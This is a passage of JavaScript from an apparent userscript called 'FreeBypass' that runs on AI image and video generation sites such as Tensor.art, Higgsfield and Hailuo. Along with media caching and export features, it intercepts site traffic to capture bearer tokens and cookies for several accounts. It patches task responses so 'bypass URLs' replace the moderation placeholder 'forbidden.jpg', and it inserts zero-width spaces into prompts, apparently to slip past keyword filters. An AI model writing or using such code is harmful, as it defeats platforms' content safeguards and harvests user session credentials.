if (u.includes('.png') || u.includes('.jpg') || u.includes('.jpeg') || u.includes('.gif') || u.includes('.webp')) return 'image';
return '';
}
function hailuoComputeId(url) {
const value = String(url || '').trim();
if (!value) return '';
try {
const u = new URL(value);
const name = u.pathname.split('/').filter(Boolean).pop() || '';
return name || value;
} catch {
return value;
}
}
function upsertHailuoMediaEntry(entry = {}) {
if (!settings.hailuoCaptureMediaLinks) return;
const url = String(entry.url || '').trim();
if (!url || !/^https?:\/\//i.test(url)) return;
// Skip obvious non-media / UI assets.
if (/\.(css|js|mjs|map|ico|svg|woff2?|ttf|otf)(\?|$)/i.test(url)) return;
if (/(favicon|sprite|analytics|telemetry|segment|sentry|hotjar)/i.test(url)) return;
const inferred = hailuoInferMediaType(url);
const rawType = String(entry.mediaType || '').toLowerCase();
const mediaType = rawType === 'video' || rawType === 'image' ? rawType : inferred;
if (!mediaType) return;
const id = String(entry.id || hailuoComputeId(url) || url).trim();
if (!id) return;
const cache = loadHailuoMediaCache();
const wasNew = !cache[id];
const prev = cache[id] || {};
cache[id] = {
...prev,
id,
mediaType: mediaType === 'video' ? 'video' : 'image',
url,
previewUrl: String(entry.previewUrl || prev.previewUrl || url),
source: String(entry.source || prev.source || 'hailuo-dom'),
mimeType: String(entry.mimeType || prev.mimeType || (mediaType === 'video' ? 'video/mp4' : 'image/jpeg')),
updatedAt: Date.now(),
raw: entry.raw || prev.raw || null
};
saveHailuoMediaCache(cache);
if (wasNew) {
addHailuoUiLog('success', 'Cached new Hailuo media entry', {
id,
mediaType: cache[id].mediaType,
source: cache[id].source
});
}
if (IS_HAILUO_DOMAIN && settings.hailuoAutoRefreshItems && currentTab === 'home') {
scheduleUIRefresh();
}
}
function getHailuoMediaEntries() {
const cache = loadHailuoMediaCache();
return Object.values(cache).sort((a, b) => Number(b.updatedAt || 0) - Number(a.updatedAt || 0));
}
function exportHailuoMediaCacheToJson() {
const entries = getHailuoMediaEntries();
const payload = {
kind: 'bypass-hailuo-media-export',
version: 1,
exportedAt: new Date().toISOString(),
count: entries.length,
source: {
domain: window.location.hostname,
href: window.location.href
},
items: entries
};
downloadJsonFile(`bypass_hailuo_items_${buildExportTimestamp()}.json`, payload);
showToast(`Exported ${entries.length} Hailuo item(s)`, 'success');
}
class HiggsfieldIndexedStore {
static dbName = 'higgsfield';
static dbVersion = 2;
static dbp = null;
static storesToCreate = new Set();
constructor({ storeName }) {
if (!storeName) throw new Error('storeName is required');
this.storeName = storeName;
HiggsfieldIndexedStore.storesToCreate.add(storeName);
}
async init() {
if (HiggsfieldIndexedStore.dbp) return HiggsfieldIndexedStore.dbp;
HiggsfieldIndexedStore.dbp = new Promise((resolve, reject) => {
const request = indexedDB.open(HiggsfieldIndexedStore.dbName, HiggsfieldIndexedStore.dbVersion);
request.onupgradeneeded = (e) => {
const db = e.target.result;
for (const storeName of HiggsfieldIndexedStore.storesToCreate) {
if (!db.objectStoreNames.contains(storeName)) {
db.createObjectStore(storeName, { keyPath: 'id' });
}
}
};
request.onsuccess = (e) => resolve(e.target.result);
request.onerror = (e) => reject(e.target.error);
});
return HiggsfieldIndexedStore.dbp;
}
async get(id) {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const req = tx.objectStore(this.storeName).get(id);
req.onsuccess = (e) => resolve(e.target.result);
req.onerror = (e) => reject(e.target.error);
});
}
async getAll(filterFn, sortField = 'created_at', desc = true) {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const req = tx.objectStore(this.storeName).getAll();
req.onsuccess = (e) => {
let result = e.target.result || [];
if (typeof filterFn === 'function') result = result.filter(filterFn);
result.sort((a, b) => {
const aValue = a?.[sortField] ?? a?.createdAt ?? a?.updatedAt ?? 0;
const bValue = b?.[sortField] ?? b?.createdAt ?? b?.updatedAt ?? 0;
return desc ? (new Date(bValue) - new Date(aValue)) : (new Date(aValue) - new Date(bValue));
});
resolve(result);
};
req.onerror = (e) => reject(e.target.error);
});
}
async put(record) {
if (!record || record.id == null) throw new Error('Record must have an id');
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const req = tx.objectStore(this.storeName).put(record);
req.onsuccess = () => resolve(record);
req.onerror = (e) => reject(e.target.error);
});
}
async delete(id) {
if (id == null) throw new Error('id is required');
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const req = tx.objectStore(this.storeName).delete(id);
req.onsuccess = () => resolve(true);
req.onerror = (e) => reject(e.target.error);
});
}
async clear() {
const db = await this.init();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const req = tx.objectStore(this.storeName).clear();
req.onsuccess = () => resolve(true);
req.onerror = (e) => reject(e.target.error);
});
}
}
const higgsfieldJobs = new HiggsfieldIndexedStore({ storeName: 'jobs' });
const higgsfieldSouls = new HiggsfieldIndexedStore({ storeName: 'souls' });
function loadHiggsfieldLogs() {
try {
const raw = localStorage.getItem(HIGGSFIELD_LOGS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function saveHiggsfieldLogs(logs) {
try {
localStorage.setItem(HIGGSFIELD_LOGS_KEY, JSON.stringify(Array.isArray(logs) ? logs : []));
} catch {
// ignore
}
}
function addHiggsfieldUiLog(level, message, details = null) {
if (!settings.higgsfieldEnableUiLogs) return;
const max = Math.max(50, Math.min(5000, Number(settings.higgsfieldMaxLogs) || 500));
const logs = loadHiggsfieldLogs();
logs.push({
id: `${Date.now()}-${Math.random().toString(16).slice(2)}`,
ts: new Date().toISOString(),
level: String(level || 'info').toLowerCase(),
message: String(message || ''),
details: details || null
});
if (logs.length > max) logs.splice(0, logs.length - max);
saveHiggsfieldLogs(logs);
refreshLiveLogPanel('higgsfield');
}
function clearHiggsfieldUiLogs() {
saveHiggsfieldLogs([]);
}
function exportHiggsfieldLogsToJson() {
const logs = loadHiggsfieldLogs();
downloadJsonFile(`bypass_higgsfield_logs_${buildExportTimestamp()}.json`, {
kind: 'bypass-higgsfield-logs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: logs.length,
source: { domain: window.location.hostname, href: window.location.href },
items: logs
});
showToast(`Exported ${logs.length} Higgsfield log entr${logs.length === 1 ? 'y' : 'ies'}`, 'success');
}
function obfuscateHiggsfieldWord(word) {
return String(word || '').split('').join('\u200B');
}
function obfuscateHiggsfieldPrompt(prompt) {
return String(prompt || '').replace(/\b\w+\b/g, (match) => obfuscateHiggsfieldWord(match));
}
function mapHiggsfieldJobSetToProject(jobSet = {}) {
const params = jobSet?.params || {};
return {
id: jobSet.job_set_id || jobSet.id,
type: jobSet.job_set_type || jobSet.type || null,
project_id: jobSet.job_set_parent_id || jobSet.project_id || null,
created_at: jobSet.created_at || new Date().toISOString(),
parent_id: jobSet.job_set_parent_id || jobSet.parent_id || null,
params: {
prompt: params.prompt || '',
width: params.width ?? null,
height: params.height ?? null,
steps: params.steps ?? null,
batch_size: params.batch_size ?? null,
seed: params.seed ?? null,
enhance_prompt: params.enhance_prompt ?? null,
sample_shift: params.sample_shift != null ? Number(params.sample_shift) : null,
sample_guide_scale: params.sample_guide_scale != null ? Number(params.sample_guide_scale) : null,
use_sage_attention: params.use_sage_attention ?? null,
quality: params.quality ?? null,
image_reference: params.image_reference ?? null,
use_relax: params.use_relax ?? null,
style_id: params.style_id ?? null,
style: params.style ? {
id: params.style.id,
name: params.style.name,
url: params.style.url,
strength: params.style.strength != null ? Number(params.style.strength) : null
} : null,
style_strength: params.style_strength != null ? Number(params.style_strength) : null,
custom_reference_id: params.custom_reference_id ?? null,
...(params.custom_reference ? {
custom_reference: {
id: params.custom_reference.id,
name: params.custom_reference.name,
url: params.custom_reference.url,
strength: Number(params.custom_reference.strength ?? 1)
},
custom_reference_strength: Number(params.custom_reference.strength ?? 1)
} : {})
},
jobs: Array.isArray(jobSet.jobs) ? jobSet.jobs : (jobSet.id ? [{
id: jobSet.id,
status: jobSet.status,
result: jobSet.result,
results: jobSet.results,
board_ids: jobSet.board_ids,
published_at: jobSet.published_at,
meta: jobSet.meta,
created_at: jobSet.created_at,
user_id: jobSet.user_id,
trace_id: jobSet.trace_id,
folder_ids: jobSet.folder_ids,
is_favourite: jobSet.is_favourite
}] : [])
};
}
function getHiggsfieldPrimaryResult(record = {}) {
const job = Array.isArray(record.jobs) ? (record.jobs[0] || {}) : {};
const raw = job?.results?.raw || job?.results?.min || {};
const type = raw?.type || (String(raw?.url || '').match(/\.(mp4|webm|mov)(\?|$)/i) ? 'video' : 'image');
return {
type,
url: raw?.url || job?.result?.url || '',
thumbnail_url: raw?.thumbnail_url || job?.result?.thumbnail_url || '',
job,
prompt: record?.params?.prompt || ''
};
}
async function getHiggsfieldJobsForUi() {
try {
const all = await higgsfieldJobs.getAll(null, 'created_at', true);
return Array.isArray(all) ? all : [];
} catch (err) {
addHiggsfieldUiLog('error', 'Failed to read Higgsfield jobs', { error: String(err?.message || err) });
return [];
}
}
async function getHiggsfieldSoulsForUi() {
try {
const all = await higgsfieldSouls.getAll(null, 'created_at', true);
return Array.isArray(all) ? all : [];
} catch (err) {
addHiggsfieldUiLog('error', 'Failed to read Higgsfield souls', { error: String(err?.message || err) });
return [];
}
}
async function upsertHiggsfieldJob(record, reason = 'unknown') {
if (!settings.higgsfieldCaptureJobs || !record || record.id == null) return null;
const existing = await higgsfieldJobs.get(record.id).catch(() => null);
const merged = { ...(existing || {}), ...record, updatedAt: new Date().toISOString() };
await higgsfieldJobs.put(merged);
addHiggsfieldUiLog(existing ? 'info' : 'success', existing ? 'Updated Higgsfield job' : 'Captured Higgsfield job', {
id: merged.id,
reason,
status: merged?.jobs?.[0]?.status || null
});
return merged;
}
async function upsertHiggsfieldSoul(record, reason = 'unknown') {
if (!settings.higgsfieldCaptureSouls || !record || record.id == null) return null;
const existing = await higgsfieldSouls.get(record.id).catch(() => null);
const merged = { ...(existing || {}), ...record, updatedAt: new Date().toISOString() };
await higgsfieldSouls.put(merged);
addHiggsfieldUiLog(existing ? 'info' : 'success', existing ? 'Updated Higgsfield soul' : 'Captured Higgsfield soul', {
id: merged.id,
reason,
status: merged?.status || null
});
return merged;
}
async function exportHiggsfieldJobsToJson() {
const items = await getHiggsfieldJobsForUi();
downloadJsonFile(`bypass_higgsfield_jobs_${buildExportTimestamp()}.json`, {
kind: 'bypass-higgsfield-jobs-export',
version: 1,
exportedAt: new Date().toISOString(),
count: items.length,
source: { domain: window.location.hostname, href: window.location.href },
items
});
showToast(`Exported ${items.length} Higgsfield job(s)`, 'success');
}
async function exportHiggsfieldSoulsToJson() {
const items = await getHiggsfieldSoulsForUi();
downloadJsonFile(`bypass_higgsfield_souls_${buildExportTimestamp()}.json`, {
kind: 'bypass-higgsfield-souls-export',
version: 1,
exportedAt: new Date().toISOString(),
count: items.length,
source: { domain: window.location.hostname, href: window.location.href },
items
});
showToast(`Exported ${items.length} Higgsfield soul(s)`, 'success');
}
async function deleteHiggsfieldJobById(id, reason = 'manual-delete') {
if (id == null) return false;
await higgsfieldJobs.delete(id);
addHiggsfieldUiLog('warn', 'Deleted Higgsfield job', { id, reason });
if (IS_HIGGSFIELD_DOMAIN && settings.higgsfieldAutoRefreshItems) scheduleUIRefresh();
return true;
}
async function deleteHiggsfieldSoulById(id, reason = 'manual-delete') {
if (id == null) return false;
await higgsfieldSouls.delete(id);
addHiggsfieldUiLog('warn', 'Deleted Higgsfield soul', { id, reason });
if (IS_HIGGSFIELD_DOMAIN && settings.higgsfieldAutoRefreshItems) scheduleUIRefresh();
return true;
}
function normalizeHiggsfieldImportItems(raw, kind = 'items') {
const items = Array.isArray(raw) ? raw : (Array.isArray(raw?.items) ? raw.items : null);
if (!Array.isArray(items)) {
throw new Error(`Invalid Higgsfield ${kind} JSON. Expected an array or an export object with an items array.`);
}
const filtered = items.filter((item) => item && item.id != null);
if (!filtered.length) {
throw new Error(`No valid Higgsfield ${kind} entries found in the selected file.`);
}
return filtered;
}
function importHiggsfieldItemsFromFile(kind = 'jobs') {
const input = document.createElement('input');
input.type = 'file';
input.accept = '.json,application/json';
input.style.display = 'none';
document.body.appendChild(input);
input.addEventListener('change', () => {
const file = input.files?.[0];
if (!file) {
input.remove();
return;
}
const reader = new FileReader();
reader.onload = async () => {
try {
const parsed = JSON.parse(String(reader.result || 'null'));
const items = normalizeHiggsfieldImportItems(parsed, kind);
const noun = kind === 'jobs' ? 'job' : 'soul';
if (!window.confirm(`Import ${items.length} Higgsfield ${noun}${items.length === 1 ? '' : 's'} from ${file.name}? Existing entries with matching ids will be updated.`)) {
return;
}
if (kind === 'jobs') {
await Promise.all(items.map((item) => upsertHiggsfieldJob(item, 'import:file')));
} else {
await Promise.all(items.map((item) => upsertHiggsfieldSoul(item, 'import:file')));
}
showToast(`Imported ${items.length} Higgsfield ${noun}${items.length === 1 ? '' : 's'}`, 'success');
updateUI();
} catch (err) {
showToast(String(err?.message || err || 'Failed to import Higgsfield JSON'), 'error');
} finally {
input.value = '';
input.remove();
}
};
reader.onerror = () => {
showToast('Failed to read selected JSON file', 'error');
input.remove();
};
reader.readAsText(file);
}, { once: true });
input.click();
}
function showHiggsfieldPreviewDialog({ title = 'Higgsfield Preview', mediaUrl = '', thumbnailUrl = '', mediaType = 'image', subtitle = '', copyText = '', copyLabel = 'Copy', metaLines = [] } = {}) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = 'position:fixed; inset:0; z-index:10000003; background:rgba(0,0,0,0.78); backdrop-filter:blur(8px); display:flex; align-items:center; justify-content:center; padding:18px;';
const dialog = document.createElement('div');
dialog.style.cssText = `width:min(860px, 96vw); max-height:92vh; display:flex; flex-direction:column; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:16px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
const previewMarkup = mediaUrl
? (mediaType === 'video'
? `<video controls autoplay muted playsinline poster="${escapeHtml(thumbnailUrl || '')}" style="width:100%; max-height:60vh; border-radius:12px; background:#000; object-fit:contain;" src="${escapeHtml(mediaUrl)}"></video>`
: `<img src="${escapeHtml(mediaUrl)}" style="width:100%; max-height:60vh; border-radius:12px; background:#000; object-fit:contain;" />`)
: '<div style="height:260px; display:flex; align-items:center; justify-content:center; border-radius:12px; background:#020617; color:#64748b;"><i class="fas fa-image"></i></div>';
dialog.innerHTML = `
<div style="display:flex; align-items:flex-start; justify-content:space-between; gap:12px; margin-bottom:12px;">
<div>
<div style="font-weight:800; font-size:15px;">${escapeHtml(title)}</div>
${subtitle ? `<div style="font-size:12px; color:${colors.textSecondary}; margin-top:4px;">${escapeHtml(subtitle)}</div>` : ''}
</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-close><i class="fas fa-times"></i></button>
</div>
<div style="display:flex; flex-direction:column; gap:12px; overflow:auto;">
${previewMarkup}
${metaLines.length ? `<div style="display:grid; gap:6px; font-size:12px; color:${colors.textSecondary};">${metaLines.map((line) => `<div>${line}</div>`).join('')}</div>` : ''}
</div>
<div style="display:flex; gap:10px; justify-content:flex-end; flex-wrap:wrap; margin-top:14px;">
${mediaUrl ? '<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-open><i class="fas fa-up-right-from-square"></i> Open</button>' : ''}
${copyText ? `<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-copy>${escapeHtml(copyLabel)}</button>` : ''}
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-done>Close</button>
</div>
`;
const close = () => overlay.remove();
dialog.querySelector('[data-close]').onclick = close;
dialog.querySelector('[data-done]').onclick = close;
const openBtn = dialog.querySelector('[data-open]');
if (openBtn) openBtn.onclick = () => { if (mediaUrl) window.open(mediaUrl, '_blank'); };
const copyBtn = dialog.querySelector('[data-copy]');
if (copyBtn) {
copyBtn.onclick = async () => {
if (!copyText) return;
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(copyText);
showToast(`${copyLabel} copied`, 'success');
}
};
}
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
overlay.appendChild(dialog);
document.body.appendChild(overlay);
}
// Deletion rules storage key
const DELETION_RULES_KEY = 'freeBypassDeletionRulesV1';
// User account & cache system
const USER_ACCOUNTS_KEY = 'freeBypassUserAccounts';
const USER_PROFILE_CACHE_KEY = 'freeBypassUserProfiles';
const USER_ACCOUNT_TASKS_KEY = 'freeBypassAccountTasks';
const USER_PROFILE_CAPTURE_KEY = 'freeBypassSeenTensorProfiles';
const USER_ACCOUNT_DETECT_STATE_KEY = 'freeBypassTensorAccountDetectState';
let currentUserProfile = null;
let currentUserVipInfo = null;
let currentPreviewUserToken = null;
let selectedAccountsForCompile = new Set();
let cachedUserAccounts = JSON.parse(localStorage.getItem(USER_ACCOUNTS_KEY) || '{}');
let cachedUserProfiles = JSON.parse(localStorage.getItem(USER_PROFILE_CACHE_KEY) || '{}');
let accountTasksCache = JSON.parse(localStorage.getItem(USER_ACCOUNT_TASKS_KEY) || '{}');
let observedTensorProfiles = (() => {
try {
const parsed = JSON.parse(localStorage.getItem(USER_PROFILE_CAPTURE_KEY) || '{}');
return parsed && typeof parsed === 'object' ? parsed : {};
} catch {
return {};
}
})();
let tensorAccountDetectState = (() => {
try {
const parsed = JSON.parse(localStorage.getItem(USER_ACCOUNT_DETECT_STATE_KEY) || 'null');
return parsed && typeof parsed === 'object'
? {
armed: parsed.armed === true,
token: parsed.token ? String(parsed.token) : null,
reason: parsed.reason ? String(parsed.reason) : '',
armedAt: Number(parsed.armedAt) || 0,
lastSource: parsed.lastSource ? String(parsed.lastSource) : ''
}
: { armed: false, token: null, reason: '', armedAt: 0, lastSource: '' };
} catch {
return { armed: false, token: null, reason: '', armedAt: 0, lastSource: '' };
}
})();
// Cache structure: { [userToken]: { profile, vipInfo, tasks: {} } }
const tokenizedCache = {};
// TensorHub support
const TENSORHUB_ACCOUNTS_KEY = 'freeBypassTensorHubAccounts';
const TENSORHUB_TASKS_KEY = 'freeBypassTensorHubTasks';
const CACHE_DELETION_KEY = 'freeBypassCacheDeletions';
const PIXVERSE_LOGS_KEY = 'freeBypassPixverseLogsV1';
const PIXVERSE_MEDIA_CACHE_KEY = 'freeBypassPixverseMediaCacheV1';
const GROK_LOGS_KEY = 'freeBypassGrokLogsV1';
const GROK_MEDIA_CACHE_KEY = 'freeBypassGrokMediaCacheV1';
const HIGGSFIELD_LOGS_KEY = 'freeBypassHiggsfieldLogsV1';
const HAILUO_LOGS_KEY = 'freeBypassHailuoLogsV1';
const HAILUO_MEDIA_CACHE_KEY = 'freeBypassHailuoMediaCacheV1';
let tensorhubToken = null;
let tensorhubUserProfile = null;
let cachedTensorHubAccounts = JSON.parse(localStorage.getItem(TENSORHUB_ACCOUNTS_KEY) || '{}');
let tensorhubTasksCache = JSON.parse(localStorage.getItem(TENSORHUB_TASKS_KEY) || '{}');
let cacheDeletions = JSON.parse(localStorage.getItem(CACHE_DELETION_KEY) || '{"noRegain":[], "hidden":[]}')
// Remote config and announcements
let remoteConfig = null;
let remoteConfigAppliedAt = 0;
let remoteConfigWatcherTimer = null;
let remoteConfigFetchInFlight = null;
let remoteConfigRemoteDisabledShown = false;
// Hash of the last config version that actually triggered a full UI rebuild.
// Used to suppress spurious rebuildson repeated loads of the same config.
let _remoteConfigAppliedHash = '';
// Template info cache: templateId → { workflowTemplateId, name }
const templateInfoCache = new Map();
// Community Share AI Tools runtime state
let communityToolsCache = null;
let communityToolsCacheAt = 0;
let communitySharedTemplateIds = new Set(
JSON.parse(localStorage.getItem('freeBypassCommunitySharedIds') || '[]')
);
// Full template detail payload cache (from intercepted workflow/v1/workflow/template/detail)
const templateDetailCache = new Map(); // templateId → full response JSON
// Track which custom notifications tab is active ('FREEINTERNET' | 'COMMUNITY' | null = native)
let currentNotificationsTab = null;
const pendingTasks = new Map();
let taskMonitorInterval = null;
const shownAnnouncements = new Set(JSON.parse(localStorage.getItem('freeBypassShownAnnouncements') || '[]'));
const ANNOUNCEMENT_CACHE_KEY = 'freeBypassAnnouncementCache';
let announcementCache = null;
const runtimeShownAnnouncements = new Set();
let notificationInjectionInterval = null;
// Remote update state (derived from remote config)
let sharedUpdateState = {
hasUpdate: false,
required: false,
version: null,
title: null,
downloadUrl: null,
messageText: null
};
function setSharedUpdateState(patch = {}) {
sharedUpdateState = { ...sharedUpdateState, ...(patch || {}) };
applySharedUpdateStateToUi();
}
function applySharedUpdateStateToUi() {
try {
applyUpdateStateToCollapsedButton(document.querySelector('.bypass-collapsed-btn'));
} catch {
// ignore
}
try {
applyUpdateStateToHeader(document.querySelector('.bypass-header'));
} catch {
// ignore
}
}
function applyUpdateStateToCollapsedButton(btn) {
if (!btn) return;
const required = !!sharedUpdateState.required;
const wasRequired = btn.classList.contains('update-required');
btn.classList.toggle('update-required', required);
const span = btn.querySelector('span');
const icon = btn.querySelector('i');
if (required) {
if (span) span.textContent = 'UPDATE REQUIRED';
if (icon) icon.className = 'fas fa-triangle-exclamation';
const v = sharedUpdateState.version ? ` (v${sharedUpdateState.version})` : '';
btn.title = `Update required${v}`;
return;
}
// Revert to normal button if we previously forced required state.
if (wasRequired) {
if (span) span.textContent = 'Bypass';
if (icon) icon.className = 'fas fa-shield-alt';
btn.title = '';
}
}
function applyUpdateStateToHeader(headerEl) {
if (!headerEl) return;
const msgEl = headerEl.querySelector('[data-bypass-header-message]');
if (!msgEl) return;
if (!sharedUpdateState.hasUpdate) {
msgEl.style.display = 'none';
msgEl.textContent = '';
msgEl.onclick = null;
msgEl.removeAttribute('title');
msgEl.classList.remove('is-required');
return;
}
const versionLabel = sharedUpdateState.version ? `v${sharedUpdateState.version}` : '';
const prefix = sharedUpdateState.required ? 'UPDATE REQUIRED' : 'Update available';
const title = sharedUpdateState.title ? ` — ${sharedUpdateState.title}` : '';
const composed = `${prefix}${versionLabel ? ` — ${versionLabel}` : ''}${title}`;
msgEl.textContent = composed;
msgEl.style.display = 'inline-flex';
msgEl.classList.toggle('is-required', !!sharedUpdateState.required);
if (sharedUpdateState.downloadUrl) {
msgEl.style.cursor = 'pointer';
msgEl.title = 'Click to open update download';
msgEl.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
try {
window.open(sharedUpdateState.downloadUrl, '_blank', 'noopener,noreferrer');
} catch {
// ignore
}
};
} else {
msgEl.style.cursor = 'default';
msgEl.onclick = null;
msgEl.removeAttribute('title');
}
}
const remoteRuntimeDefaults = {
notifications: {
enabled: true,
scanIntervalMs: 50,
injectDropdown: true,
injectNotificationsPageTab: true,
openUrl: 'https://tensor.art/notifications',
includeAnnouncements: true,
includeUpdates: true,
maxItems: 100,
ignoreWaitDefault: false
},
runtime_controls: {
disable_floating_panel: false,
disable_dom_injection: false,
disable_safe_view: false,
disable_task_actions: false,
disable_telegram: false,
disable_discord: false,
disable_profile_tasks: false,
force_inherit_theme: null,
force_preview: null,
force_show_bypassed_link: null
}
};
// Design System - Modern Color Palette
const designSystem = {
dark: {
primary: '#6366f1',
primaryHover: '#4f46e5',
bg: '#0f172a',
bgSecondary: '#1e293b',
bgTertiary: '#334155',
text: '#f1f5f9',
textSecondary: '#cbd5e1',
border: '#475569',
success: '#10b981',
error: '#ef4444',
warning: '#f59e0b'
},
light: {
primary: '#6366f1',
primaryHover: '#4f46e5',
bg: '#ffffff',
bgSecondary: '#f8fafc',
bgTertiary: '#e2e8f0',
text: '#0f172a',
textSecondary: '#475569',
border: '#cbd5e1',
success: '#059669',
error: '#dc2626',
warning: '#d97706'
}
};
async function getToken() {
const tokenCookie = await window.cookieStore.get('ta_token_prod');
userToken = tokenCookie ? tokenCookie.value : null;
if (userToken && !currentPreviewUserToken) {
currentPreviewUserToken = userToken;
}
return userToken;
}
function extractBearerTokenFromAuthValue(value) {
const raw = String(value || '').trim();
if (!raw) return null;
const match = raw.match(/^Bearer\s+(.+)$/i);
return match ? String(match[1] || '').trim() || null : null;
}
function readAuthorizationHeaderValue(headersLike) {
if (!headersLike) return null;
try {
if (typeof Headers !== 'undefined' && headersLike instanceof Headers) {
return headersLike.get('authorization') || headersLike.get('Authorization') || null;
}
} catch {
// ignore cross-realm instanceof issues
}
if (Array.isArray(headersLike)) {
for (const entry of headersLike) {
if (!Array.isArray(entry) || entry.length < 2) continue;
if (String(entry[0] || '').toLowerCase() === 'authorization') return entry[1];
}
return null;
}
if (typeof headersLike?.forEach === 'function') {
let found = null;
try {
headersLike.forEach((value, key) => {
if (found == null && String(key || '').toLowerCase() === 'authorization') {
found = value;
}
});
} catch {
// ignore
}
if (found != null) return found;
}
if (typeof headersLike === 'object') {
for (const [key, value] of Object.entries(headersLike)) {
if (String(key || '').toLowerCase() === 'authorization') return value;
}
}
return null;
}
function extractTensorTokenFromRequest(input, init) {
const direct = extractBearerTokenFromAuthValue(readAuthorizationHeaderValue(init?.headers));
if (direct) return direct;
try {
const requestHeaders = input?.headers;
const requestToken = extractBearerTokenFromAuthValue(readAuthorizationHeaderValue(requestHeaders));
if (requestToken) return requestToken;
} catch {
// ignore
}
return null;
}
function extractTensorTokenFromXhrHeaders(headersMap) {
if (!headersMap || typeof headersMap !== 'object') return null;
for (const [key, value] of Object.entries(headersMap)) {
if (String(key || '').toLowerCase() === 'authorization') {
const token = extractBearerTokenFromAuthValue(value);
if (token) return token;
}
}
return null;
}
async function resolveTensorCaptureToken(tokenHint = null) {
const hinted = tokenHint ? String(tokenHint).trim() : '';
if (hinted) {
userToken = hinted;
if (!currentPreviewUserToken) currentPreviewUserToken = hinted;
return hinted;
}
const existing = userToken ? String(userToken).trim() : '';
if (existing) return existing;
return await getToken().catch(() => null);
}
function getInterceptedRequestUrl(input) {
try {
if (typeof input === 'string') return input;
if (input instanceof URL) return input.toString();
if (input?.url) return String(input.url);
} catch {
// ignore
}
return '';
}
async function processTensorObservedResponse(fetchUrl, responseLike, tokenHint = null) {
if (!fetchUrl || !responseLike) return;
const isUserProfileEndpoint = fetchUrl.includes('/user-web/v1/user/profile/detail');
const isVipInfoEndpoint = fetchUrl.includes('/vip/v1/user/vip-info');
if (!isUserProfileEndpoint && !isVipInfoEndpoint) return;
try {
const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
let body = null;
if (typeof clonedResponse.json === 'function') {
body = await clonedResponse.json();
} else if (typeof clonedResponse.responseText === 'string') {
body = JSON.parse(clonedResponse.responseText || '{}');
} else if (typeof clonedResponse.response === 'string') {
body = JSON.parse(clonedResponse.response || '{}');
} else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
body = clonedResponse.response;
}
if (!body || typeof body !== 'object') return;
const token = await resolveTensorCaptureToken(tokenHint);
if (!token) return;
if (isUserProfileEndpoint && body.data?.info) {
currentUserProfile = body.data;
cacheObservedTensorProfile(token, { profile: body.data, lastProfileUrl: fetchUrl });
saveUserProfile(token, body.data, currentUserVipInfo);
finalizeTensorAccountDetection(token, 'profile-detail-capture', { toast: true });
if (domInjectDebug) console.log('[UserProfile] Captured user profile from site request:', body.data.info.nickname, { tokenSource: tokenHint ? 'request' : 'fallback' });
}
if (isVipInfoEndpoint && body.data) {
currentUserVipInfo = body.data;
cacheObservedTensorProfile(token, { vipInfo: body.data, lastVipUrl: fetchUrl });
saveUserProfile(token, currentUserProfile, body.data);
finalizeTensorAccountDetection(token, 'vip-info-capture', { toast: true });
if (domInjectDebug) console.log('[UserProfile] Captured VIP info from site request:', body.data.isVip, { tokenSource: tokenHint ? 'request' : 'fallback' });
}
} catch (e) {
console.warn('[UserProfile] Failed to process observed Tensor response', { fetchUrl, error: e });
}
}
async function processTensorObservedTaskResponse(fetchUrl, responseLike) {
if (!fetchUrl || !responseLike) return;
const isQueryEndpoint = fetchUrl.endsWith('/works/v1/works/tasks/query');
const isTemplateTasksEndpoint = fetchUrl.includes('/works/v1/works/tasks?');
const isWorkflowEditorEndpoint = fetchUrl.includes('/workflow/editor/');
const isTaskCreateEndpoint = fetchUrl.includes('/workflow/template/task/create');
const isMgetTaskEndpoint = fetchUrl.includes('/works/v1/works/mget_task');
if (!isQueryEndpoint && !isTemplateTasksEndpoint && !isWorkflowEditorEndpoint && !isTaskCreateEndpoint && !isMgetTaskEndpoint) {
return;
}
try {
// For XHR mget_task, the XHR response may already have been patched in-place (bypass URLs
// replacing forbidden.jpg). The raw body is saved to __freeBypassTensorRawBody before patching.
// Use it so we cache the original forbidden-item data, not the bypass-patched data.
let body = null;
if (isMgetTaskEndpoint && responseLike?.__freeBypassTensorRawBody) {
try {
body = JSON.parse(responseLike.__freeBypassTensorRawBody);
} catch { /* fall through */ }
}
if (!body) {
const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
if (typeof clonedResponse.json === 'function') {
body = await clonedResponse.json();
} else if (typeof clonedResponse.responseText === 'string') {
body = JSON.parse(clonedResponse.responseText || '{}');
} else if (typeof clonedResponse.response === 'string') {
body = JSON.parse(clonedResponse.response || '{}');
} else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
body = clonedResponse.response;
}
}
if (!body || typeof body !== 'object') return;
if (isTaskCreateEndpoint && settings.autoTaskDetection) {
if (body.data?.workflowTemplateTask?.id) {
const taskId = body.data.workflowTemplateTask.id;
pendingTasks.set(taskId, {
startTime: Date.now(),
status: 'WAITING',
templateId: body.data.workflowTemplateTask.workflowTemplateId
});
if (domInjectDebug) console.log(`[TaskMonitor] Created task ${taskId} from site request`);
}
}
if (isMgetTaskEndpoint && settings.autoTaskDetection) {
lastMgetTaskSeenAt = Date.now();
await handleMgetTaskBody(body, 'mget_task');
}
